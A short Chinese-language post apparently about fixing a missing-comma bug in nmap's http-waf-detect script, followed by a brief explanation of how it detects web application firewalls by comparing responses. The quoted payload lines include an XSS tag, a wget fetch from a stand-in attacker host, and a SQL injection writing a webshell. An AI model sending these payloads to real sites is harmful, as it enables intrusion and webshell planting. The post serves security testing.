http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse

测试了下有个bug会引起执行失败:

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

改为

“?p4yl04d=<img src=”x” alt=”” />”, “?p4yl04d=wget http://ev1l.com/xpl01t.txt”,
“?p4yl04d=UNION SELECT ”,2,3 INTO OUTFILE ‘/var/www/w3bsh3ll.php’ –“}

少一个逗号- -。

效果出来了,原理很简单,部署WAF的网站,发送一些网站本身不包含的一些参数键值对,网站一般情况下不会出现任何异常,而WAF会报警,响应会出现差异。基于这些差异进行判断就行。不过这个nse脚本判断机制似乎太简单了。